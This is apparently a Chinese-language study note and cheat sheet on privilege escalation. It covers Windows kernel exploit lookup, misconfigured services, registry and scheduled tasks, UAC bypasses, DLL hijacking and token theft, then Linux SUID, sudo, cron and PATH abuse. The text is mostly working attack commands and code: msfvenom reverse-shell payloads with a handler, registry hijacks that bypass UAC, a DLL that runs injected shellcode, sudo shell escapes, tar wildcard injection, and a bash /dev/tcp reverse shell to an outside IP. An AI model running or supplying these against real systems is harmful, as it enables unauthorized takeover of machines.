windows提权

linux提权

数据库提权

第三方软件提权

windows提权

提权到administrator、system权限

windows用户账户一般有:

1
2
3
4
5
本地普通用户
本地一般管理员
本地最高管理员
域内普通用户
域内管理员

本地普通用户:在windows电脑中本地新建的普通用户,没有管理员权限,新建用户一般都是user组

1
net user admin admin_123 add //添加用户admin,密码是 admin_123

本地普通用户在进行高权限操作时会出现需要管理员账号密码进行认证

本地管理员组内非administrator用户(本地普通用户),一般来说电脑我们使用的时候都是在管理员组但非administrator用户,所以有道时候需要uac认证,或者以管理员身份运行软件

在windows11家庭版中administrator默认是隐藏关闭的,如果需要开启,则使用

1
net user administrator /active:yes

system是服务账号的最高权限,administrator是用户账号的最高权限,任务管理器中是以system运行的一般都是系统自带的服务

一般拿到的就是webshell,然后通过传cs木马,上cs的shell,利用cs里面提权脚本进行提权,如ms15-051、过uac。。。然后也可以上msf。CS和msf各有优劣,msf的工具脚本会多一些而且很稳定,CS会更方便一些有图形化一键利用

Windows系统内核溢出提权漏洞(可能会蓝屏)

系统本身或系统中的软件漏洞获取windows操作系统的system权限,有本地溢出和远程溢出

流程

信息收集,查看权限,查看版本,补丁

查看是否有可利用漏洞

根据漏洞找exp

用exp提权

查信息

1
2
systeminfo
wmic qfe get caption,description,hotfixid,installedon

能查到补丁,然后根据对应的补丁漏洞进行提权

常见补丁漏洞对应表

https://blog.csdn.net/qq_41060781/article/details/134613672

暂时无法在飞书文档外展示此内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
MS16-135 [KB3199135]  2016

MS16-111 [KB3186973] (Windows 10 10586 (32/64)/8.1)

MS16-098 [KB3178466] (Win 8.1)

MS16-075 [KB3164038] (2003/2008/7/8/2012)

MS16-034 [KB3143145] (2008/7/8/10/2012)

MS16-032 [KB3143141] (2008/7/8/10/2012)

MS16-016 [KB3136041] (2008/Vista/7)

MS16-014 [K3134228] (2008/Vista/7)

MS15-097 [KB3089656] (win8.1/2012)

MS15-076 [KB3067505] (2003/2008/7/8/2012)

MS15-077 [KB3077657] (XP/Vista/Win7/Win8/2000/2003/2008/2012)

MS15-061 [KB3057839] (2003/2008/7/8/2012)

MS15-051 [KB3057191] (2003/2008/7/8/2012)

MS15-015 [KB3031432] (Win7/8/8.1/2012/RT/2012 R2/2008 R2)

MS15-010 [KB3036220] (2003/2008/7/8)

MS15-001 [KB3023266] (2008/2012/7/8)

MS14-070 [KB2989935] -2003

MS14-068 (2003/2008/2012/7/8)

MS14-058 [KB3000061] (2003/2008/2012/7/8)

MS14-066 [KB2992611] (VistaSP2/7 SP1/8/Windows 8.1/2003 SP2/2008 SP2/2008 R2

SP1/2012/2012 R2/Windows RT/Windows RT 8.1)

MS14-040 [KB2975684] (2003/2008/2012/7/8)

MS14-002 [KB2914368] (2003/XP)

MS13-053 [KB2850851] (XP/Vista/2003/2008/win 7)

MS13-046 [KB2840221] (Vista/2003/2008/2012/7)

MS13-005 [KB2778930] (2003/2008/2012/win7/8)

MS12-042 [KB2972621] (2008/2012/win7)

MS12-020 [KB2671387] (2003/2008/7/XP)

MS11-080 [KB2592799] (2003/XP)

MS11-062 [KB2566454] (2003/XP)

MS11-046 [KB2503665] (2003/2008/7/XP)

MS11-011 [KB2393802] (2003/2008/7/XP/Vista)

MS10-092 [KB2305420] (2008/7)

MS10-065 [KB2267960] (IIS 5.1, 6.0, 7.0, and 7.5)

MS10-059 [KB982799] (2008/7/Vista)

MS10-048 [KB2160329] (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 &

R2/Win7)

MS10-015 [KB977165] (2003/2008/7/XP)

MS10-012 [KB971468] (Windows 7/2008R2)

MS09-050 [KB975517] (2008/Vista)

MS09-020 [KB970483] (IIS 5.1 and 6.0)

MS09-012 [KB959454] (Vista/win7/2008/Vista)

MS08-068 [KB957097] (2000/XP)

MS08-067 [KB958644] (Windows 2000/XP/Server 2003/Vista/Server 2008)

MS08-066 [KB956803] (Windows 2000/XP/Server 2003)

MS08-025 [KB941693] (XP/2003/2008/Vista)

MS06-040 [KB921883] (2003/xp/2000)

MS05-039 [KB899588] (Win 9X/ME/NT/2000/XP/2003)

MS03-026 [KB823980] (/NT/2000/XP/2003)

或使用msf提权

1
2
3
4
5
6
7
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.45.131 LPORT=7777 -f exe -o xxx.exe
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.45.131 LPORT=7777 -f exe -o xxx.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.45.131
set lport 7777
exploit

利用自动提权(很可能失败)

1
getsystem   //一般是从管理员(administrator)提升到system,如果是普通权限运行此命令会报错

但是可以使用自动提权脚本

比如pwnkit或者是msf自带的enum_patches和local_exploit_suggester

上线到msf后,将session放后台,然后运行即可

1
2
3
use post/multi/recon/local_exploit_suggester
set session ID
run

然后跑出来用对应脚本提权即可

Windows exploit suggester

暂时无法在飞书文档外展示此内容

放kali里面用python2运行

1
2
3
4
systeminfo > systeminfo.txt
python2 -m pip install xlrd==1.2.0 安装库文件、
python2 windows-exploit-suggester.py --update 更新库生成xls文件
python2 windows-exploit-suggester.py --database xls文件名 --systeminfo systeminfo.txt 对比信息查找漏洞

在线辅助提权

1
2
https://i.hacking8.com/tiquan
https://bugs.hacking8.com/tiquan
wesng提权(更好的windows-exploit-suggester)
1
2
3
4
python wes.py --update
python wes.py systeminfo.txt
python wes.py systeminfo.txt --impact "Remote Code Execution"
python wes.py systeminfo.txt --import "Remote Code Execution"
exp搜索
1
2
3
https://github.com/offensive-security/exploitdb
https://www.exploit-db.com
https://github.com/SecWiki/windows-kernel-exploits

Windows错误配置提权(另一些提权,但远远不如上面的好用,只是了解一些就好)

概念:

查看是否存在错误系统配置,比如路径未加引号或未指定可执行文件路径等,导致运行程序命令的时候能被添加或截获命令

Tusted Service Paths提权原理

windows服务通常使用system权限运行,系统解析服务的二进制文件对应的文件路径中空格的时候可以以系统权限进行解析。以系统权限执行

即如图

img

此有引号并且里面有空格,如果说这里没有引号,并且有空格则可以进行利用

1
2
3
4
服务路径没有用引号引起来
服务路径中存在空格
服务以最高权限启动后
当前权限具有到对应目录下写文件

微软服务路径寻找方法

例如C:\Program Files\Common Files\service.exe

1
2
3
C:\Program.exe    //寻找失败
C:\Program Files\Common.exe //寻找失败
C:\Program Files\Common Files\service.exe //寻找成功

我们就在截断的那里写一个刚好同名的软件就行,就会以服务的权限去运行该文件

实验配置流程

创建一个服务,路径中存在空格,并且服务路径中没有引号

1
sc create "service" binpath= "C:\Program Files\Common Files\service\service.exe" start=auto  //这里binpath后面是必须要有空格的

查询服务的启动方式和权限

1
sc qc service

查询是否有可写权限

1
icacls "C:"

赋予权限(本身就需要管理员才能加权限)

1
icacls "C:" /grant "BUILTIN\Users" :W 

流程

登上控制了的机器

使用命令查找有没有这样的服务

1
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\\Windows\\" | findstr /i /v """

编译生成exe,将exe重命名并上传到相应目录

这里没有做自删除,可以需要做自删除的,或者再调用原来的ipconfig伪装一下

1
2
3
4
5
6
#include<stdio.h>
#include<stdlib.h>
int main(){
system("cmd.exe /c C:\\USERS\\xxxxx\\Desktop\\1.exe");
return 0;
}

path配置错误(鸡肋)

和上面的差不多,只不过现在是放到环境变量中了,并且需要管理员去执行命令,才能上线

查找环境变量

1
wmic ENVIRONMENT where "name='path'" get UserName , VariableValue

不安全的服务提权

原理

以system权限运行

给服务设置权限,

1
subinacl /service xxxx /grant=apache=F //将xxxx的服务赋予apache完全控制权

流程

查看当前哪些服务配置不当

使用accesschk工具

1
accesschk -cw * /accepteula

如果有服务在当前用户下,那么就可以通过修改当前服务的执行路径,使此服务执行我们的恶意程序

1
sc config xxxx binpath= "C:\\Users\xxx\desktop\1.exe"

不安全注册表提权(需要有对注册表的修改权限)

原理

windows的服务路径存储在windows的注册表中,如果注册表配置不当,攻击者发现可以使用低权限可以修改注册表的时候,就能提权,将imagepath修改为恶意文件,重启导致提权

实际上就算上一个提权方法的注册表形式修改

寻找到路径,然后修改其binpath即可

注册表中在这个目录下

1
2
3
"HKEY_LOCAL_MACHINE\system\ControlSet001\services\xxx"
subinacl /keyreg "HKEY_LOCAL_MACHINE\system\ControlSet001\services\xxx" /grant=apache=f
reg add "HKEY_LOCAL_MACHINE\system\ControlSet001\services\xxx" /t REG_EXPANDSZ /v ImagePath /d "C:\USERS\\apache\Desktop\1.exe" /f

查询是否成功替换

1
reg query HKEY_LOCAL_MACHINE\system\ControlSet001\services\xxx /v imagepath

注册表键AlwaysInstall提权

https://blog.csdn.net/yangbz123/article/details/117196615

注册表键是一个策略设置项,windows运行低权限用户以system权限安装文件,使用此策略设置项,所有权限用户都可以使用NT AUTHORITY\SYSTEM权限安装恶意MSI文件

应该是默认关闭的

1
2
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

img

这就说明是没有

输入gpedit.msc,打开组策略管理器

计算机配置–>模板管理–>windows组件–>windows installe,设置里面有永远以高权限安装,启用就行

用户配置–>…………,也是一样,都需要进行操作

再进行查询,这样就说明有

img

流程

msf

msf登录上电脑

1
use exploit/windows/local/always_install_elevated

设置session后运行即可

如果失败了,可以使用msi生成文件上传上去

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.131 LPORT=123 -f msi -o payload.msi

然后运行并监听即可

1
execute "msiexec.exe /quiet /qn /i payload.msi"

另外补充:

msf里面可以使用upload进行文件上传

比如需要上传xxx.exe

1
meterpreter >  upload xxx.exe
CS

首先用cs生成一个木马,xxx.exe

然后使用工具exe2msi,将exe文件转成msi文件,然后再传到目标机器上运行上线

运行即可

1
msiexec.exe /quiet /qn /i xxx.msi

敏感文件泄露

比如unattend.xml,应答文件,用于管理员自动分发安装电脑

在C:\Windows\Panther里面

里面就可能泄露账号密码,前面信息收集那章会有很全的信息

1
2
dir /s *pass* == *.config
findst /si password *.xml *.ini *.txt

如果说管理员曾经使用过runas /savecred,比如

1
runas /savecred /user:administrator cmd

会将密码当作凭证,保留在电脑上

cmdkey /list

如果查到了账号密码,用psexec就能上了

接前面的内网渗透

计划任务提权

设置计划任务配置不当,导致可以劫持然后替换成自己的恶意文件进行提权

就是普通用户能修改计划任务,将计划任务本来要运行的程序改掉了,并且需要计划任务在高权限运行

但是极可能不知道计划任务运行的是哪个,所以这个只能去猜,另外还有个命令能查询计划任务,但是低权限用户无法查询到高权限的计划任务,所以这个也看运气

1
schtasks /query /fo LIST /v

查看用户的权限(需要上传accesschk文件)

1
accesschk apache -cw * /accepteula

启动项提权

开机自启程序

1
2
3
启动文件夹
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
C:\Users\用户名\AppData\Romaing\Microsoft\Windows\Start Menu\Programs\Start

启动注册表(windows11、windows10里面很多都没有,下面的主要是windows7里面的)

1
2
3
4
5
6
7
8
9
10
11
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current\Version\Policies\Explorer\Run 
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\RunServicesOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current\Version\Run\ServicesOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Services
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current\Version\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\Run\Oncel\Setup
HKEY_LOCAL_MACHINE\SOFTWAREMicrosoft\Windows\Current\Version\Run\Once\Setup
HKEY_LOCAL_MACHINE\SOFT\WAREMicrosoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current\Version\RunOnce
HKEY_CURRENT_USER\SoftwarelMicrosoft\Windows\Current\Version\Run
HKEY_LOCAL_MACHINE\SOFT\WARE\Microsoft\Windows\Current\Version\Run

查询文件夹权限

1
2
shell accesschk.exe "C:\ProgramData\Microsoft\Windows\Start 
Menu\Programs\Startup"

复制文件到目录,然后等待重启即可

Uac认证

UAC为用户账户控制,在做很多操作的时候会蹦出来妨碍你,由于我们没有图形化界面,没法点击,所以这个时候就得绕过

img

img

就是我们电脑偶尔要点击

你要允许此应用对你的设备进行更改吗,的这个东西

触发

1
2
3
4
5
6
7
8
安装或卸载程序
安装驱动设备
增加或修改注册表
改变UAC设置
增加或删除用户账户
改变用户的账户类型
修改Windows Update配置
将文件复制或移动到Program Files或者windows目录

img

CS绕过UAC(好用)

上cs后提权一键绕过即可

计划任务

前面讲到的配置错误里面,计划任务和注册表都是可以不经过uac认证的,所以如果可以的话,这个也是一个思路

msf过UAC

当前用户必须是管理员组内用户,uac为默认设置即可

上线之后去handler里面找

1
2
3
4
search bypassuac
user x
set session x
run

RUNAS提权

1
2
3
exploit/windows/local/ask
set session x
run

向对面电脑弹个框,如果对面点击是,则直接拿shell

基于白名单DLL劫持绕过

dll是动态链接库,又称为”应用程序拓展”,为软件文件类型。在windows中许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库文件,即dll文件,类似于编程中的用import 导入的模块

原理

当进程尝试加载加载一个Dll但是没有指定dll绝对路径的时候,windows会尝试指定目录下查找该dll,如果攻击者能控制其中一个目录,并且放一个恶意dll到此目录下,该恶意dll就会被进程加载,并执行

顺序

1
2
3
4
5
6
应用程序加载的目录
C:\Windows\System32
C:\Windows\System
C:\Windows
加载DLL时所在的当前目录
PATH环境变量中列出的目录

Know DLL注册表项

在windows7之后,windows为了防御dll劫持,将容易被劫持的系统dll写入了注册表项中,那么反思此项目下的dll文件就会被禁止从exe自身所在的目录下进行调用,只能从系统目录即system32目录下进行调用

1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

只能从system32调用,其他任何,比如应用程序加载的目录都不能调用此同名文件

昂,如果说java在除c盘外的其他盘,但java运行需要调用本目录的dll,那么那个dll由于在其他盘所以应该能被篡改,那么就能被劫持上线,还有转发dll

现将操作本地执行,使用procmon进行监控,过滤DLL和name not found ,查询可以替换的dll文件,注意文件的权限是否可以在目录写入,如果都ok,进行写入即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/* Replace "dll.h" with the name of your header */ 
#include "dll.h"
#include <windows.h>
#include <stdlib.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
{
system("cmd.exe");
}
case DLL_PROCESS_DETACH:
{
break;
}
case DLL_THREAD_ATTACH:
{
break;
}
case DLL_THREAD_DETACH:
{
break;
}
}
/* Return TRUE on success, FALSE on failure */
return TRUE;
}

或者说,这里的shellcode是从cs生成的shellcode,根据cs生成的实际内容进行修改即可,这里编译运行即可获得dll,然后改名放到那个目录,然后再运行程序即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/* Replace "dll.h" with the name of your header */ 
#include "dll.h"
#include <windows.h>
#include <stdlib.h>
HANDLE hThread = NULL;
typedef void(__stdcall* JMP_SHELLCODE)();
unsigned char shellcode[800] = {0Xfc,0xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx,0X00
};
DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
memcpy(lpBase, shellcode, sizeof(shellcode));
JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
jmp_shellcode();接下来运行白名单程序,可以看待提权成功,绕过了UAC认证
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
{
hThread = CreateThread(NULL, 0, jmp_shellcode, 0, 0, 0);
}
case DLL_PROCESS_DETACH:
{
break;
}
case DLL_THREAD_ATTACH:
{
break;
}
case DLL_THREAD_DETACH:
{
break;
}
}
/* Return TRUE on success, FALSE on failure */
return TRUE;
}

然后的话,这次是跟着免杀训练走了一下网易云的dll劫持,我的版本是3.0.18

生成了一个dll文件,叫profapi.dll,然后能直接过并且不报错,我也不知道为什么这个能不报错,这里已经是成功白加黑上线cs了

img

并且没有看见师傅讲课时讲的stack里面调用动态链接库,只看见调用了其他的东西,不清楚是哪部分能直接过这个程序

img

img

至于师傅又讲到的aheadlib进行转发函数,很感兴趣,但是手头缺工具,打算下周再弄了

至于DLLmain死锁,确实是我没有注意过的,这个应该就是导致我前面改成其他dll名然后报错的原因吧,在进程调用到这里的时候本身有一个创建新进程,导致一堆报错,或者没找到函数

img

基于白名单的AutoElevate绕过

原理

利用白名单程序的本质上是劫持注册表,能主动寻找autoelevated属性为true的程序,修改其注册表command的值改成我们想执行的payload,该值中的字段会在程序运行的时候自动执行,类似于默认程序打开,以后运行该程序的时候,这个command命令都会自动执行

1
HKCU\Software\Classes\mscfile\shell\open\commend   //一般来说得自己添加

UAC同样也会对程序本身造成影响,微软不希望运行系统程序也过UAC,所以对一些系统程序添加了白名单机制

常见白名单:

1
2
3
4
5
6
7
8
9
msconfig.exe
taskmgr.exe
perfmon.exe
cleanmgr.exe
sdclt.exe
dccw.exe
eventvwr.exe
computerdefaults.exe
fodhelper.exe

注册表添加(即使没过UAC也是可以修改注册表的)

1
2
reg add HKCU\Software\Classes\mscfile\shell\open\command /ve /t REG_SZ /d "cmd.exe /c calc"
reg add HKCU\Software\Classes\mscfile\shell\open\command /v DelegateExecute /t REG_SZ

然后运行那个应用即可

CVE-2019-1388 UAC

windows证书对话框特权提升漏洞,是因为UAC机制的设定不严导致的,默认情况下,windows UAC提示本身为consent.exe可执行文件生成,导致NT AUTHORITY\system身份运行并且有system完整性水平。由于用户可以与此UI进行交互。所以有必要对UI进行严格限制。否则低权限用户可能通过UI操作提权到system

img

超链接打开浏览器,然后后续的权限都是以system来跑的,导致权限被滥用

可以打开浏览器,然后找到一个能开文件管理器的位置,然后开一个cmd,就行

Windows令牌概述和令牌窃取攻击(其实没什么用,作为计划任务的替代品)

getsystem命令也是这种方法

Windows令牌

令牌(Token)是系统的临时密钥,相对于账户名和密码,用于访问是否允许这次请求和判断这次的请求是属于哪一个用户的,不允许在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌持续存在直到电脑重启

随机,不可预测

1
2
3
访问令牌(Access Token):表示访问控制主题的系统对象
会话令牌(Session Token):是交互会话中唯一的身份标识符,可以理解为web的token
密保令牌(Security Token):认证令牌或者硬件令牌,计算机身份校验的物理设备

访问令牌包含以下内容

1
2
3
4
5
6
7
8
9
10
11
12
用户账户的安全标识(SID)
用户所属的组SID
用于标识当前登陆会话的登陆SID
用户或用户组所拥有的权限列表
所有者SID
主要组SID
访问控制列表
访问令牌的主要来源
令牌是主要令牌还是模拟令牌
限制SID的可选列表
目前的模拟等级
其他统计的数据

Windows访问令牌有两种

1
2
Delegation Token:授权令牌,支持交互式会话登录(本地用户直接登录、远程桌面登录)
Impresonation Token:模拟令牌,支持非交互的会话

只有在系统重启后才会清除,当授权令牌用户注销后,授权令牌自动变成模拟令牌

令牌窃取

incognito.exe

1
2
3
incognito.exe list_tokens -u  //列出用户令牌
incognito.exe execute -c "令牌"程序名 使用窃取的令牌执行命令
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe

没过uac只能拿到自己的账户令牌,过了uac才能提权

直接执行命令达到权限

linux提权

1
2
3
赋予了文件权限
使用sudo查看
cat等命令赋予了SUID权限

内核提权是linux内核的漏洞进行提权。内核漏洞进行提权一般包括三个环节:

1.对目标系统进行信息收集,获取到系统内核信息以及版本信息;

2.根据内核版本获取其对应的漏洞以及EXP

3.使用找到EXP对目标系统发起攻击,完成提权操作

查看Linux操作系统的内核版本和相关信息

1
2
3
4
cat /etc/issue 查看ubuntu或者centos的版本
cat /etc/*-release 查看centos版本
uname -a 查看系统全部信息
uname -r 查看内核版本

使用searchsploit能查找内核exp

searchsploit -m 44641.c

img

1
gcc -o xxx 44641.c //44641.c编译成xxx

suid文件为/usr/bin/su

SUID提权

suid是一种特殊权限,设置了suid的程序文件,在用户执行程序时候,用户的权限是该程序文件属主的权限,例如程序文件的属主是root,执行该程序的用户暂时在这件事上获得root权限。sgid与suid类似,只是执行程序时获得的是文件属组的权限。passwd这个命令程序的权限设置是suid

1
2
3
只有二进制文件设置suid才有意义
命令执行者需要对该文件有执行权限
命令执行者短暂获得此身份,只有在执行此程序的时候获取相对应的身份

设置SUID

1
2
chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置

查找SUID文件

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

使用find提权

1
2
find xxx -exec whoami \;
find . -exec /bin/sh -p \; -quit

使用bash提权

如果配置为suid权限

1
2
find / -user root -perm -4000 -print 2>/dev/null
bash -p //执行交互式root窗口

Vim提权

1.修改/etc/passwd和/etc/shadow

1
ad7t5uIalqMws   密码为Password@973 盐为addedsalt

2.vim打开交互shell

1
vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

python提权

1
python -c 'import os;os.execl("/bin/sh","sh","-p")'

计划任务

可能是权限配置不当,计划任务以root运行,低权限可以修改计划任务文件或内容

1
2
3
crontab -e 编辑计划任务
crontab -l 查看计划任务
crontab -r 删除当前crontab

计划任务文件夹在 /etc/cron下

1
*/1 * * * * root /bash_os.sh 

上线后直接去/etc/crontab中查看文件,并查看权限,看可不可以改

环境变量劫持(比较有用)

和windows的path劫持一样

1
echo $PATH查看环境变量

shell文件有s/root权限,然后里面调用了cat命令

1
2
3
4
5
echo "/bin/bash" > /tmp/cat
echo $PATH
export PATH=/tmp:$PATH //普通权限用户是允许添加临时环境变量的
cd /home/shell
whoami

sudo提权

sudo权限的授予/etc/sudoers中操作

1
2
3
cseroad ALL=(ALL:ALL) NOPASSWD:/usr/bin/apt-get
zangsan ALL=(ALL:ALL) NOPASSWD:/tmp/cat
需要写在%wheel ALL=(ALL) ALL 命令下面,才不会被覆盖掉

cseroad表示用户名

第一个all允许从任何终端访问sudo

第二个(ALL:ALL)指示sudo命令被允许任意用户、任意组执行

第三个NOPASSWD表示不需要输入密码即可执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
sudo -l
wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、perl、bash、tar、less、awk、man、vi、env、ftp、ed、screen
sudo vim -c '!sh'
sudo awk 'BEGIN {system("/bin/sh")}'
sudo xxd "/etc/shadow" | xxd -r
sudo env /bin/sh
sudo perl -e 'exec "/bin/sh";'
sudo zip 2.zip 1.txt -T --unzip-command="sh -c /bin/sh"
sudo sed -n '1e exec sh 1>&0' /etc/passwd
sudo find /etc/passwd -exec /bin/sh \;
sudo tar -czf xxx.tgz x.html --checkpoint=1 --checkpoint-action=exec=whoami
两条命令提权的
sudo git help config
!/bin/sh
sudo ftp
!/bin/sh
sudo less /etc/hosts
!sh
sudo ed
!/bin/sh
sudo man man
!/bin/sh

WS通配符提权

1
2
3
4
5
echo "" > --help
劫持help
echo "" > --checkpoint=1
echo "" > --checkpoint-action=exec=ipconfig
劫持tar命令

tar -cvf html.tgz /var/www/html *

反弹shell

1
2
3
echo ""> /var/www/html--checkpoint=1
echo ""> /var/www/html--checkpoint-action=exec='bash shell.sh'
echo "bash -i >&/dev/tcp/192.168.45.131/8888 0>&1" > /var/www/html/shell.sh

密码爆破

John

1
john --wordlist=xxx.txt shadow.txt

Mysql提权

UDF提权

UDF(User Define Function),用户自定义函数,用来满足需求

用c语言或者c++写好一个dll文件,然后放在mysql目录下

UDF==xxx.dll –>>mysql的目录下

然后就能在mysql中进行调用了

1
mysql> xxx();